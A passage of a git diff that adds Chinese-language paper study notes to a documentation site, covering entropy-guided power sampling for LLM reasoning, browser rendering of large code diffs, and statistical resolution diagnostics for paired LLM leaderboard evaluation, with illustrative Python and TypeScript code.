+  for t in range(1, len(token_ids)):
+    logits = model.logits_at_prefix(token_ids[:t])  # 你的推理引擎 API
+    log_p = log_softmax_pick(logits, token_ids[t])
+    total += log_p
+  return total
+
+def sample_suffix(model, prefix: List[int], max_new: int) -> List[int]:
+  """从 prefix 末 token 起自回归采样直到 EOS 或上限"""
+  out = list(prefix)
+  for _ in range(max_new):
+    next_id = model.sample_next(out)
+    out.append(next_id)
+    if next_id == EOS:
+      break
+  return out
+
+def propose_cut_position(entropies: List[float], eps: float = 1e-6) -> int:
+  """按 H_t 比例抽样 cut；比 uniform(0..T) 更常命中决策点"""
+  weights = [h + eps for h in entropies]
+  s = sum(weights)
+  r = random.random() * s
+  acc = 0.0
+  for t, w in enumerate(weights):
+    acc += w
+    if r <= acc:
+      return t
+  return len(entropies) - 1
+
+def entropy_cut_mh_step(
+    model,
+    x: List[int],
+    alpha: float,
+    entropies: List[float],
+) -> List[int]:
+  """单步 MH：目标分布 p^alpha(x) ∝ p(x)^alpha"""
+  t = propose_cut_position(entropies[: len(x)])
+  prefix = x[: t + 1]  # 保留 cut 之前（含 cut 位置 token）
+  x_prime = sample_suffix(model, prefix, max_new=len(x) + 512)
+
+  log_p_x = log_prob_sequence(model, x)
+  log_p_xp = log_prob_sequence(model, x_prime)
+
+  # MH 接受率：min(1, p^alpha(x')/p^alpha(x) * q(x|x')/q(x'|x))
+  # 若 cut proposal 对称或校正项可约，简化为似然比
+  log_accept = alpha * (log_p_xp - log_p_x)
+  if math.log(random.random()) < log_accept:
+    return x_prime
+  return x
+
+def power_sample(model, prompt_ids, alpha=2.0, mcmc_steps=40):
+  x = model.generate(prompt_ids)  # 初始轨迹
+  for _ in range(mcmc_steps):
+    logits = model.forward_logits(x)
+    entropies = next_token_entropy(logits).tolist()
+    x = entropy_cut_mh_step(model, x, alpha, entropies)
+  return x
+```
+
+**与均匀切对比**：把 `propose_cut_position` 换成 `random.randint(0, len(x)-1)` 即 baseline。当 \(T=2000\)、决策点 \(k \approx 10\) 时，均匀切命中决策点的概率约 \(k/T \approx 0.5\%\)；熵加权可把大部分 proposal 压在 \(k\) 个高熵邻域。
+
+---
+
+## 与相关工作的关系
+
+```mermaid
+flowchart LR
+  Base[基础模型 p] --> Power[幂分布 p^α]
+  Power --> MCMC[MCMC 近似采样]
+  MCMC --> Uniform[均匀切 MH — KD26a]
+  MCMC --> Entropy[熵切 MH — 本文]
+  RL[GRPO / RL 后训练] -.->|隐式锐化| Power
+  Entropy --> Tasks[MATH500 / HumanEval / GPQA / AIME26]
+  Uniform --> Tasks
+```
+
+| 方法 | 训练 | Verifier | 切点策略 | 主要代价 |
+|------|------|----------|----------|----------|
+| 标准采样 | 无 | 无 | 无（一次生成） | 1× |
+| GRPO | 有 | 通常需要 | N/A | 训练 + 推理 |
+| 均匀切 Power MH | 无 | 无 | 均匀随机 | 多轮 forward × MCMC 步数 |
+| **熵切 Power MH（本文）** | 无 | 无 | **熵加权** | 同上，但混合更快 → 同等步数更高质 |
+
+后续 **Entropy-Guided Power Sampling（EGPS, arXiv 2606.09926）** 在同一脉络上进一步：跳过低熵块、在决策点用 Multiple-Try Metropolis，追求墙钟 **12×+** 加速。可与本文对照阅读。
+
+---
+
+## 局限与开放问题
+
+1. **熵是代理，不是真值**：某些决策在表示层熵不高（模型错误地很自信）；反之高熵也可能是措辞犹豫而非策略分叉。
+2. **算力仍显著高于单次采样**：MH 需要多轮完整序列似然估计；工程上需配合 stagewise、早停、块跳过（见 EGPS）。
+3. **\(\alpha\) 与步数需调**：过大 \(\alpha\) 可能过尖；MCMC 步数不足则未混合到 \(p^\alpha\)。
+4. **与 test-time scaling 的关系**：Best-of-\(N\)、树搜索、过程奖励模型是正交路线；熵切 power sampling 提供「**无训练分布锐化**」的一条独立轴。
+
+---
+
+## 零基础自检清单
+
+读完笔记，你应该能回答：
+
+1. **Power distribution 是什么？** 对 \(p(x)^\alpha\) 归一化，\(\alpha>1\) 放大高似然推理链。
+2. **为什么要 MCMC？** 精确采样不可行；MH 保证渐近服从 \(p^\alpha\)。
+3. **均匀切的问题？** 长序列里决策点少，随机切多改局部、少换策略，混合慢。
+4. **熵为何有用？** 决策点处下一 token 分布平坦 → 熵高；可作 cut proposal 权重。
+5. **Theorem 4.1 说什么？** 熵切混合时间与 \(k\)（决策数）相关；均匀切可与 \(T\)（token 数）相关。
+6. **和 RL 比如何？** 多个基准上可比或更优，且无训练、无 verifier，多样性更好。
+
+---
+
+## 延伸阅读
+
+- Karan & Du, *Reasoning with Sampling: Your Base Model is Smarter Than You Think* — [arXiv:2510.14901](https://arxiv.org/abs/2510.14901)（power distribution + 均匀切 MH 奠基）
+- *Sample Where You Struggle: Entropy-Guided Power Sampling* — [arXiv:2606.09926](https://arxiv.org/abs/2606.09926)（熵门控 + 多块跳过 + MTM）
+- *Scalable Power Sampling* — [arXiv:2601.21590](https://arxiv.org/abs/2601.21590)（低温与 power 的近似联系，降低 MCMC 开销）
+- 本仓库：[Speculative Decoding](/docs/papers/speculative-decoding-leviathan-2023)（另一脉推理加速：分布保持的草稿–验证，与本文「改分布采样」正交）
+
+---
+
+## 一句话总结
+
+**基础模型已经「藏」着推理能力；RL 是一种把它挖出来的方式，而对 power distribution 做 MCMC 采样是另一种。本文证明：挖的时候应该在熵高的决策点下刀，而不是在整段思考里盲目乱切——这样混合更快、分数更高、还不用训练。**
diff --git a/src/content/docs/papers/regev-lwe-2005.md b/src/content/docs/papers/regev-lwe-2005.md
index 0ba4c5851..a70cc6714 100644
--- a/src/content/docs/papers/regev-lwe-2005.md
+++ b/src/content/docs/papers/regev-lwe-2005.md
@@ -191,4 +191,5 @@ CRYSTALS-Kyber（NIST PQC 标准 KEM）和 CRYSTALS-Dilithium（签名）均基
 - [[cadar-klee-2008]] —— KLEE — 符号执行自动生成高覆盖测试
 - [[ducas-dilithium-2018]] —— CRYSTALS-Dilithium — 量子计算机来了也签不掉的数字签名
 - [[gentry-fhe-2009]] —— Gentry FHE — 全同态加密开山
+- [[rsa-1978]] —— RSA 1978 — 数字签名与公钥密码的奠基论文
 
diff --git a/src/content/docs/papers/rendering-diffs.md b/src/content/docs/papers/rendering-diffs.md
new file mode 100644
index 000000000..08289dc9e
--- /dev/null
+++ b/src/content/docs/papers/rendering-diffs.md
@@ -0,0 +1,278 @@
+---
+title: On Rendering Diffs — 浏览器里渲染代码 diff 为何比看起来难得多
+来源: 'Amadeus Pierre, "On Rendering Diffs", Pierre Computer Company, 2026-05-29 — https://pierre.computer/writing/on-rendering-diffs'
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：红笔批改 vs 整本教材
+
+想象你在批改学生作文。三五处修改，用红笔圈一圈、写几句评语，几分钟就能看完——这就是**小 PR**：diff 就是「改了什么」，浏览器把几屏文字画出来就行。
+
+但如果老师拿到的是**整本教材的修订版**：上千页、每页都有脚注、目录、批注、双栏对照、语法高亮（名词标蓝、动词标绿）……你不可能把整本书一次性摊开在桌上。合理做法是：**只展开当前正在看的那几页**，翻页时再换页；批注和高亮可以稍后再补。
+
+代码 review 里的 diff 渲染，本质上就是这套「**只渲染看得见的页** + **别在翻页时露出空白** + **别因为高亮把 CPU 拖死**」。Pierre Computer Company 在文章 *On Rendering Diffs* 里记录了他们从 `@pierre/diffs` 的 `File` / `FileDiff`，到 **`CodeView`** 这一「以虚拟化为第一原则」的组件的演进——目标是一句听起来不可能的话：
+
+> **You should be able to just render any diff.**（你应该能「直接渲染任意 diff」。）
+
+不是物理上无限大，而是：Bun 的 Zig→Rust 重写、Node.js 的 V8 大更新、甚至 Linux v6→v7 这种 **700MB+ patch** 都不该让 review 界面垮掉。
+
+---
+
+## 是什么
+
+**On Rendering Diffs** 不是学术论文，而是一篇**工程实践长文**，作者 Amadeus Pierre 来自 Pierre Computer Company。他们开源/商业化的 **`@pierre/diffs`** 包提供可嵌入产品的 diff 渲染；**`CodeView`** 则是管理「整次 review 表面」（多文件、大 diff）的虚拟化优先组件。
+
+文章把「在浏览器里画 diff」拆成三类成本，并逐层给出解法：
+
+| 类别 | 典型症状 | 文章中的对策 |
+|------|----------|--------------|
+| **Rendering（渲染）** | DOM 节点爆炸、滚动卡顿、快速拖动滚动条出现**空白（blanking）** | 虚拟化 / windowing；**Inverse Sticky Technique** |
+| **Processing（处理）** | 语法高亮、diff 解析在 main thread 上 × 文件数 | Worker 线程 + **延迟高亮**；checkpoint + 二分查找行范围 |
+| **Memory（内存）** | 解析大 patch 后 JS 引擎仍持有巨型母串；GC 停顿 | **Detach 子串**；DOM 池化；**共享 options** 而非每文件一份配置 |
+
+文中还提到 GitHub、GitLab Rapid Diffs 等工业界同类方向——diff 渲染往往不是产品本身，而是 review 工作流、Agent 输出、CI 周围的**基础设施**。
+
+---
+
+## 为什么 diff「看起来简单」却极难
+
+表面上是「文本 + 红绿行」，但**合格的 review UI** 还要：
+
+- 语法高亮（Shiki 等）→ 处理时间与 DOM 膨胀
+- 行号、统一/分栏布局、换行模式、主题
+- 评论、annotation → 布局与虚拟化 scroll anchoring 冲突
+- **规模放大**：单文件便宜的操作，× 几千文件就变成 O(n×m)
+
+他们第一版简单 virtualizer「只渲染视口附近」有效，但仍有：
+
+- 高内存
+- 快速滚动时的 **virtualization blanking**
+- 大 hunk（数十万行）从 0 开始线性扫描找可见行范围 → **路径级慢**
+
+`CodeView` 的设计哲学是：**渲染、内存、处理是同一问题的三个面**，不能各打各的补丁。
+
+---
+
+## 核心概念
+
+### 1. Virtualization / Windowing（虚拟化 / 窗口化）
+
+只把**视口附近**的内容放进 DOM；滚出屏幕的节点移除或回收。收益：更少 layout/paint、更低 heap。代价：要**估计或测量**每项高度，并与滚动位置同步。
+
+常见三种路线（文章对比）：
+
+1. **真实 scroll 容器 + 绝对定位可见项** — 滚动原生、无障碍好，但 JS 可能跟不上 → blanking
+2. **`position: sticky/fixed` + rAF 更新内容** — 不会 blank，但滚动可能 hitch；Safari 上 rAF 仍 cap 60Hz
+3. **完全模拟滚动** — 避开浏览器 scroll 高度限制，但要自己重做滚动手感与 a11y
+
+### 2. Inverse Sticky Technique（反向 sticky）
+
+Pierre 的折中：**保留原生滚动**，又尽量**不出现空白**。
+
+普通 sticky：节标题滚到顶时「粘」在视口顶部。  
+**Inverse sticky**：虚拟化内容块的**底边**在向下滚过视口时粘住底边；向上滚时**顶边**粘住顶边。JS 若落后，用户看到的是「内容块贴边停住」，而不是滚进空白区域。
+
+关键 CSS 思路（`top` 与 `bottom` 使用同一公式）：
+
+```css
+/* contentHeight = 虚拟内容总高度，viewportHeight = 可视区域高度 */
+.sticky-viewport-chunk {
+  position: sticky;
+  top: calc((var(--content-height) - var(--viewport-height)) * -1);
+  bottom: calc((var(--content-height) - var(--viewport-height)) * -1);
+}
+```
+
+外层仍是**全高 scroll 区域**（浏览器原生滚动条），内层只挂载一块「当前窗口」的 DOM。
+
+### 3. 布局估算与行范围渲染
+
+第一遍布局可以很便宜：
+
+```text
+文件高度 ≈ lineHeight × totalLines
+diff 高度 ≈ lineHeight × splitLineCount + hunks.length × hunkSeparatorHeight
+```
+
+`CodeView` 先算「哪些文件该进 DOM」，再在文件内部算「哪些**行**该渲染」。旧实现从第 0 行扫到大 hunk 末尾——大 diff 上灾难性。改进：**position→line checkpoint 缓存 + 二分**，先跳到接近的起点再细搜。
+
+渲染后对比 DOM **实测高度**与估算，存 delta，供 scroll anchoring 修正。
+
+### 4. Scroll Anchoring（滚动锚定）
+
+浏览器内置 `overflow-anchor` 在虚拟列表里常失效（挂载 DOM 总在变）。`CodeView` 显式 `overflow-anchor: none`，自己锚定：
+
+1. 找当前**第一条完全可见**的行/文件
+2. 记录其 **viewport offset** 为 anchor
+3. 提交新 DOM 范围
+4. 若 anchor 偏移变了 → **调整 scrollTop** 补回
+
+这样展开 hunk、换行、改主题时，眼睛看到的代码不会「跳飞」。
+
+### 5. 内存：Detach、池化、共享配置
+
+- **Detach parsed strings**：V8 等引擎里，`substring` 可能仍引用巨型母串。解析 700MB patch 后只留行内容，若不 **copy/detach**，heap 仍占满原串。Linux v6→v7 案例：内存 **2.4GB → 1.15GB**，解析时间降约 **80%**。
+- **DOM pooling**：虚拟化频繁 mount/unmount → GC 压力。复用带 Shadow DOM、样式表、SVG atlas 的**外壳**，只清空内部行 DOM。
+- **Shared options**：原先每个 `File`/`FileDiff` 各持一份 `options`；上万实例时改主题要 spread 全体对象。改为 `CodeView` 持有一份 truth，子项通过 **getter 读共享状态**。
+
+### 6. Deferred Syntax Highlighting（延迟语法高亮）
+
+Shiki 在 worker 池跑；**先 plain text 立即可读**，再高亮回填。LRU 缓存 + `prime` API 预温。目标：高亮**增强**体验，不**阻塞**首屏。
+
+---
+
+## 代码示例 1：最小窗口虚拟化（理解 blanking 从哪来）
+
+下面 TypeScript 片段演示「估算总高 + 只渲染 `[start, end)` 行」——与 Pierre 第一版 simple virtualizer 同类思路；**没有** inverse sticky，快速 scroll 仍可能 blank：
+
+```typescript
+type Line = { text: string; kind: "context" | "add" | "del" };
+
+function renderDiffWindow(
+  lines: Line[],
+  scrollTop: number,
+  viewportHeight: number,
+  lineHeight: number,
+  overscan = 8,
+) {
+  const totalHeight = lines.length * lineHeight;
+  const firstVisible = Math.floor(scrollTop / lineHeight);
+  const visibleCount = Math.ceil(viewportHeight / lineHeight);
+  const start = Math.max(0, firstVisible - overscan);
+  const end = Math.min(lines.length, firstVisible + visibleCount + overscan);
+
+  return {
+    totalHeight,
+    offsetY: start * lineHeight,
+    slice: lines.slice(start, end).map((line, i) => ({
+      index: start + i,
+      ...line,
+    })),
+  };
+}
+
+// 用法：scroll 事件里更新 slice，把 slice 映射成 DOM；
+// 容器 style.height = `${totalHeight}px`，内容块 translateY(offsetY)
+```
+
+**要点**：`overscan` 越大 blank 越少，但 DOM 越多——性能 trade-off。Inverse sticky 解决的是「JS 一时跟不上时用户仍看到旧内容贴边」，而不是无限增大 overscan。
+
+---
+
+## 代码示例 2：Scroll anchoring 伪代码
+
+虚拟列表在替换 DOM 前后保持「用户正在看的那一行」不动：
+
+```typescript
+interface Anchor {
+  lineIndex: number;
+  offsetInViewport: number; // 该行顶相对视口顶的 px
+}
+
+function captureAnchor(
+  scrollTop: number,
+  lineHeight: number,
+  viewportHeight: number,
+): Anchor {
+  const lineIndex = Math.floor(scrollTop / lineHeight);
+  const lineTop = lineIndex * lineHeight;
+  return {
+    lineIndex,
+    offsetInViewport: lineTop - scrollTop,
+  };
+}
+
+function restoreScroll(
+  anchor: Anchor,
+  lineHeight: number,
+  measuredLineTop: number, // 布局变化后该行新的文档坐标
+): number {
+  // 新的 scrollTop 应使 anchor 行回到相同 viewport 偏移
+  return measuredLineTop - anchor.offsetInViewport;
+}
+
+// 更新流程：
+// const anchor = captureAnchor(el.scrollTop, LH, el.clientHeight);
+// patchDom(newRange);
+// const newTop = measureLineTop(anchor.lineIndex);
+// el.scrollTop = restoreScroll(anchor, LH, newTop);
+```
+
+这与 Pierre 描述的「找 first fully visible line → commit DOM → reconcile height → 修正 scrollTop」一致；也是 GitHub diff 优化、TanStack Virtual 等场景里的常见模式。
+
+---
+
+## 代码示例 3：Checkpoint + 二分找行范围（大 hunk）
+
+当单个 hunk 有 **30 万行** 时，从 0 扫描找 `scrollTop` 对应行是 O(n)。checkpoint 把「文档位置 → 行号」稀疏采样，二分缩小起点：
+
+```typescript
+type Checkpoint = { docOffset: number; lineIndex: number };
+
+function findLineAtOffset(
+  checkpoints: Checkpoint[],
+  targetOffset: number,
+  lineHeight: number,
+  totalLines: number,
+): number {
+  // 1. 在 checkpoints 上二分，找到 <= targetOffset 的最大 checkpoint
+  let lo = 0;
+  let hi = checkpoints.length - 1;
+  while (lo < hi) {
+    const mid = (lo + hi + 1) >> 1;
+    if (checkpoints[mid].docOffset <= targetOffset) lo = mid;
+    else hi = mid - 1;
+  }
+  const startLine = checkpoints[lo].lineIndex;
+  const startOffset = checkpoints[lo].docOffset;
+  // 2. 从 startLine 线性微调（区间已很小）
+  const remaining = targetOffset - startOffset;
+  return Math.min(totalLines - 1, startLine + Math.floor(remaining / lineHeight));
+}
+```
+
+`CodeView` 在 file/diff 级别做类似事，避免「大 review = 大 PR × 大文件 × 大 hunk」时的路径级卡顿。
+
+---
+
+## 与业界其他路线的对照
+
+| 方案 | 思路 | 与 Pierre 文的呼应 |
+|------|------|-------------------|
+| **GitHub diff v2** | 每行组件从 8–13 个减到 2；TanStack Virtual；Map O(1) 查 comment | 同样：**少 DOM、只渲染可见、状态别绑在每行上** |
+| **GitLab Rapid Diffs** | 服务端 ViewComponent 渲染 HTML，客户端只挂载 + 流式加载 | 把「首屏可见 diff」从 JS 构建 DOM 的最短路径挪到 SSR/stream |
+| **octorus 等 TUI** | 可见区 slice + string interning (Rodeo) + 先 plain 后高亮 | 与 deferred highlighting、内存 detach 同构 |
+
+Pierre 选择**浏览器内**做重活（Shadow DOM、Shiki worker），并承认仍有短板：CSS layout/paint 在激进滚动时占主导；超大行（minified JS）未做水平虚拟化；worker 与 main thread 间序列化大文件高亮结果仍贵——未来可能更多 **server-side streaming**。
+
+---
+
+## 产品启示（零基础也能带走的结论）
+
+1. **Diff 不是「textarea + 颜色」** — 规模、交互、评论、主题一叠加就是系统问题。
+2. **虚拟化要选「滚动语义」** — native scroll、a11y、WebKit/Tauri 目标都会影响架构；Inverse sticky 是「防 blank」的 CSS 层技巧，不是银弹（Safari 极端滚动仍可能 compositing 掉队）。
+3. **先可读，再漂亮** — deferred highlighting 是 perceived performance 的经典手法。
+4. **JS 字符串与 DOM 都有隐藏成本** — detach、pool、共享 config 往往比「再写一个 virtualizer」更能救大 diff。
+5. **若你在做 Agent / 大 PR review** — diff 渲染应像 Pierre 说的：**产品围绕 review 建，而不是每个团队从零造轮子**。
+
+---
+
+## 延伸阅读
+
+- 原文：[On Rendering Diffs](https://pierre.computer/writing/on-rendering-diffs)
+- 包与文档：npm `@pierre/diffs`， playground [DiffsHub](https://diffshub.com)（GitHub URL 中 `github` 换 `diffshub` 可试大 PR）
+- GitHub Engineering：[The uphill climb of making diff lines performant](https://github.blog/engineering/architecture-optimization/the-uphill-climb-of-making-diff-lines-performant/)
+- GitLab：[Rapid Diffs](https://docs.gitlab.com/development/fe_guide/rapid_diffs/)
+
+---
+
+## 自测清单
+
+- [ ] 能用自己的话解释：为什么「只渲染视口」仍可能出现 blanking？
+- [ ] Inverse sticky 和普通 sticky 在「粘哪条边」上有什么不同？
+- [ ] 大 patch 解析后为什么要 detach 子串？
+- [ ] 虚拟列表为什么要自己做 scroll anchoring？
+- [ ] 延迟语法高亮改善的是「真实耗时」还是「感知耗时」？
diff --git a/src/content/docs/papers/resolution-diagnostics-llm.md b/src/content/docs/papers/resolution-diagnostics-llm.md
new file mode 100644
index 000000000..1aa90a615
--- /dev/null
+++ b/src/content/docs/papers/resolution-diagnostics-llm.md
@@ -0,0 +1,331 @@
+---
+title: Resolution Diagnostics for Paired LLM Evaluation — 排行榜上的 0.8 分差距能信吗？
+来源: https://arxiv.org/abs/2605.30315
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：视力表 vs 显微镜
+
+想象你在选眼镜。视力表上，甲说「我看 1.0，你看 0.9」，差 0.1 听起来不大；但若只测了 5 个字母、房间还晃，这点差距可能只是随机波动——**表的分辨率不够**，却会被包装成「甲明显更清楚」。
+
+LLM 排行榜做的事很像：两个模型在同一批 prompt 上答题，甲 78.3%、乙 77.5%，差 0.8 个百分点就上了新闻标题。**但 0.8 pp 是「真差距」还是「抽样噪声」？** 取决于 benchmark 有多少题、两模型在同一题上是否同对同错（配对相关 ρ），以及你要求的统计把握（显著性 α、功效 1−β）。
+
+**Resolution Diagnostics for Paired LLM Evaluation**（Kotawala, Princeton；ICML 2026 Workshop on Hypothesis Testing, arXiv:2605.30315）把这件事说透了：共享 prompt 的 LLM 评测本质是**配对假设检验**；论文给出一套「分辨率诊断」协议，回答三个问题——当前 N 题能检测的最小差距（MDE）、要检测目标差距需要多少题（N*）、以及现有 benchmark 是否「够格」（分辨率比 q = N/N*）。
+
+实证结论很扎眼：Open LLM Leaderboard v1 的 40 组两两比较里，**11 组**在常规目标 (α, 1−β) = (0.05, 0.8) 下**无法分辨**；MMLU-Pro 前十名相邻名次 9 对里 **4 对**未达标，考虑科目聚类后升到 **6/9**。很多「谁比谁强」的叙事，统计上站不住。
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 排行榜把「差距」当成「结论」
+
+现代 leaderboard 用百分比点（percentage points, pp）展示模型 A 比 B 高多少。媒体和产品决策常把 headline gap 直接当成「A 更好」。但「A 显著优于 B」是一个**关于总体 prompt 分布的统计主张**，不是 gap 数字本身。
+
+论文 §1 举了一个边界案例：HellaSwag 上 gemma-7B 与 Llama-3-8B 差 **+0.46 pp**（n = 10,042）——渐近 χ² McNemar **p = 0.049**（显著），精确条件二项 **p = 0.054**（不显著），配对 bootstrap 95% CI 仍含 0；分辨率比 **q ≈ 1/2**，即当前样本量只有「达标所需 N*」的一半。**名义显著 ≠ 达到 (0.05, 0.8) 分辨率目标。**
+
+### 2. 配对设计被当成独立样本算
+
+共享 prompt 评测里，同一道题上两模型往往同对或同错，**Cov(X^A, X^B) 很大**。若仍用独立样本的方差公式或 Miller (2024) 的无配对 Gaussian 近似，会**高估**所需样本量（配对其实更高效），或误用 Cohen-h + (1−ρ) 捷径**低估约一半**。
+
+论文在 40 组 OLL v1 对上显示：配对 McNemar 所需 N* 的中位数是无配对 Miller 公式的 **1/2.15**（IQR [1.60, 2.75]），与教科书预测 1/(1−ρ) 一致。
+
+### 3. 缺少「分辨率报告」标准
+
+McNemar、配对 t、配对 bootstrap 都是经典工具；缺的是：**给定 benchmark 规模与数据结构，在常规 α 和功效下，多大的 gap 才配被写进标题？** 论文把 level-α、power-(1−β) 检验**反演**，得到 MDE、N*、q，并打包为 pip 包 **llm-power**。
+
+---
+
+## 核心概念
+
+### 1. 配对设定
+
+两模型 A、B 在相同 N 个 prompt 上评测（视为从 prompt 超总体 i.i.d. 抽样）。每题得分 X_i^A, X_i^B 可为 0/1 或 [0,1] 分级。定义配对差 D_i = X_i^A − X_i^B，估计 gap δ̂ = (1/N) Σ D_i。
+
+### 2. 三个诊断量（论文 Equation 3–4）
+
+在正态近似下，配对差标准误 SE(δ̂) = σ_D / √N。反演功效公式得到：
+
+| 符号 | 含义 | 直觉 |
+|------|------|------|
+| **N*(δ; α, β)** | 检测目标 gap \|δ\| 所需的配对样本量 | 「要证明 1 pp 差距，至少要多少题？」 |
+| **δ_MDE(N; α, β)** | 当前 N 下可检测的最小 \|δ\| | 「这 1 万题最多能分辨多小的差距？」 |
+| **q = N / N*(δ̂)** | **分辨率比** | **q ≥ 1** → 在 (α, 1−β) 下**可分辨**当前观测 gap；**q < 1** → **未达标** |
+
+默认操作点：**(α, 1−β) = (0.05, 0.8)**，即双侧 5% 显著性、80% 功效。
+
+对单对比较，q 与 Wald 统计量单调相关：q ≥ 1 ⟺ |T_N| ≥ z_{1−α/2} + z_{1−β} ≈ **2.80**。q 的价值在于**可聚合**（多重比较、聚类、序贯检验），比裸 p 值更易解读 leaderboard 整体「有多糊」。
+
+**重要区分**：q < 1 **不断言两模型相等**，也**不推翻**固定 N 下的 p 值；它说的是「以当前 benchmark 规模，达不到预设分辨率目标」。这是**benchmark 设计诊断**，不是「用观测效应算事后功效」那类 Hoenig–Heisey 谬误。
+
+### 3. 二元准确率的配对方差（Equation 5–6）
+
+对 0/1 正确率，p_A、p_B 为边际准确率，ρ 为**题内 Bernoulli 相关**（同对同错程度）：
+
+```
+σ_D² = p_A(1−p_A) + p_B(1−p_B) − 2ρ√[p_A(1−p_A)·p_B(1−p_B)]
+N* = [(z_{1−α/2} + z_{1−β})² · σ_D²] / (p_A − p_B)²
+```
+
+这与 McNemar–Connor 大样本所需 N 渐近一致。SOTA 模型在同一 prompt 上 ρ 常很高（0.45–0.99），**忽略配对结构会严重误判分辨率**。
+
+### 4. Cohen-h + (1−ρ) 捷径的「减半陷阱」（Lemma 1）
+
+很多人只有无配对 Cohen-h 计算器：先算 n_unp = K/h²，再乘 **(1−ρ)** 当配对样本量。论文证明：在**小差距、相邻排名** regime，该捷径 n_h 约为正确 N* 的 **1/2**，偏差 O(δ²)。
+
+在 (p_A, p_B, ρ) = (0.65, 0.60, 0.30) 例子中，正确 N* ≈ **1028**；Cohen 1988 / G*Power / R pwr 的 per-arm K/h² 再 ×(1−ρ) 只得 **515**——**少估一半**。statsmodels 的 2K/h² 约定与 **llm-power** 直接算 Var(Δ) 则正确。
+
+结构原因：(1−ρ) 加在**单臂**方差 p(1−p) 上，但配对差方差来自 Var(X^A) + Var(X^B) − 2Cov，**多一个因子 2**。
+
+### 5. 多重比较、聚类与序贯更新
+
+- **Leaderboard 多重性**：K 个模型最多 C(K,2) 对比较；Bonferroni/Holm 会放大 N*（OLL v1 上约 ×2.11）。
+- **科目/主题聚类**：MMLU-Pro 14 个 subject 作为 cluster，设计效应 DE = 1 + (m̄−1)·ICC(D)；IID 下 4/9 未达标 → 聚类校正后 **6/9**。
+- **持续更新的 leaderboard**：固定 n 检验在「看完数据再停」时失控；anytime-valid e-process 阈值约再 ×2.15，MMLU-Pro 相邻对未达标数 4 → **5**。
+
+---
+
+## 实证结果速览
+
+### Open LLM Leaderboard v1（40 对）
+
+5 个 7–8B 开源模型 × 4 任务（ARC、HellaSwag、Winogrande、GSM8K），每任务 10 对，共 40 对。
+
+| \|δ\| 区间 | 对数 | 未达标 (q<1) 比例 | 中位 r = N*/N |
+|-----------|------|-------------------|---------------|
+| ≤ 1% | 3 | 100% | 94 |
+| 1%–2% | 4 | 100% | 4.2 |
+| 2%–5% | 10 | 40% | 0.75 |
+| 5%–15% | 17 | 0% | 0.15 |
+| > 15% | 6 | 0% | 0.03 |
+| **合计** | **40** | **11 (28%)** | 0.16 |
+
+**分辨率边界大约在 |δ| ≈ 5 pp**：≤2% 几乎全糊，>5% 几乎全清，2%–5% 混合——正是相邻名次最常出现的区间。
+
+### MMLU-Pro Top-10（9 对相邻名次）
+
+N = 12,032 题；固定 n 下 **4/9** 未达标；Bonferroni-9、聚类校正、anytime-valid 分别更严，未达标数 **4 → 6 → 5**（不同准则回答不同问题，不宜简单比「谁更对」）。
+
+---
+
+## 代码示例 1：手算分辨率三件套（Python）
+
+下面用论文 Equation 5–6 实现二元配对诊断，不依赖外部包，便于理解公式。
+
+```python
+import math
+from scipy import stats
+
+def paired_binary_variance(p_a: float, p_b: float, rho: float) -> float:
+    """配对差 D = X^A - X^B 的方差（0/1 得分）。"""
+    q_a, q_b = 1 - p_a, 1 - p_b
+    term = math.sqrt(p_a * q_a * p_b * q_b)
+    return p_a * q_a + p_b * q_b - 2 * rho * term
+
+
+def resolution_diagnostics(
+    p_a: float,
+    p_b: float,
+    rho: float,
+    n: int,
+    alpha: float = 0.05,
+    power: float = 0.80,
+) -> dict:
+    """返回 N*, MDE, q 及是否可分辨。"""
+    z_alpha = stats.norm.ppf(1 - alpha / 2)
+    z_beta = stats.norm.ppf(power)
+    z_sum = z_alpha + z_beta
+
+    delta = abs(p_a - p_b)
+    sigma_d = math.sqrt(paired_binary_variance(p_a, p_b, rho))
+
+    n_star = (z_sum * sigma_d / delta) ** 2 if delta > 0 else float("inf")
+    mde = z_sum * sigma_d / math.sqrt(n)
+    q = n / n_star if math.isfinite(n_star) else float("inf")
+
+    return {
+        "delta_pp": delta * 100,
+        "N_star": round(n_star),
+        "MDE_pp": mde * 100,
+        "q": q,
+        "resolved": q >= 1.0,
+    }
+
+
+# 论文 Table 1 工作例子：(0.65, 0.60, 0.30), N 足够大时 gap=5pp
+diag = resolution_diagnostics(0.65, 0.60, 0.30, n=12_032)
+print(diag)
+# 期望 N* ≈ 1028；若用错误捷径 (1-ρ)*K/h² ≈ 515，会误以为样本「绰绰有余」
+
+# HellaSwag 边界对：小 gap + 高 ρ → q < 1 但 p 可能擦边 0.05
+hellaswag = resolution_diagnostics(0.783, 0.778, 0.81, n=10_042)
+print(f"q={hellaswag['q']:.2f}, resolved={hellaswag['resolved']}")
+```
+
+运行后你会看到：5 pp 差距在 ρ=0.3 时 N* ~千级；0.46 pp + ρ≈0.81 时 q 远小于 1——**统计显著与分辨率达标可以分道扬镳**。
+
+---
+
+## 代码示例 2：从 per-prompt 0/1 矩阵估计 ρ 并扫描 leaderboard 相邻对
+
+真实复现应拉 lm-evaluation-harness 的 per-item 分数；这里用合成数据演示**从 (N×2) 正确率矩阵估计 ρ、δ̂、q** 的流程。
+
+```python
+import numpy as np
+
+def empirical_paired_stats(correct_a: np.ndarray, correct_b: np.ndarray) -> tuple[float, float, float]:
+    """correct_*: bool 或 0/1，长度 N。"""
+    assert len(correct_a) == len(correct_b)
+    p_a = correct_a.mean()
+    p_b = correct_b.mean()
+    # 题内相关：Pearson 相关于 0/1 即 phi 系数
+    rho = np.corrcoef(correct_a.astype(float), correct_b.astype(float))[0, 1]
+    return p_a, p_b, rho
+
+
+def scan_adjacent_pairs(scores: dict[str, np.ndarray], alpha=0.05, power=0.80) -> list[dict]:
+    """scores: 模型名 -> (N,) 0/1 向量，按排行榜顺序传入。"""
+    names = list(scores.keys())
+    rows = []
+    for i in range(len(names) - 1):
+        a, b = names[i], names[i + 1]
+        p_a, p_b, rho = empirical_paired_stats(scores[a], scores[b])
+        n = len(scores[a])
+        d = resolution_diagnostics(p_a, p_b, rho, n, alpha, power)
+        rows.append({"pair": f"{a} vs {b}", "rank_adjacent": True, **d})
+    return rows
+
+
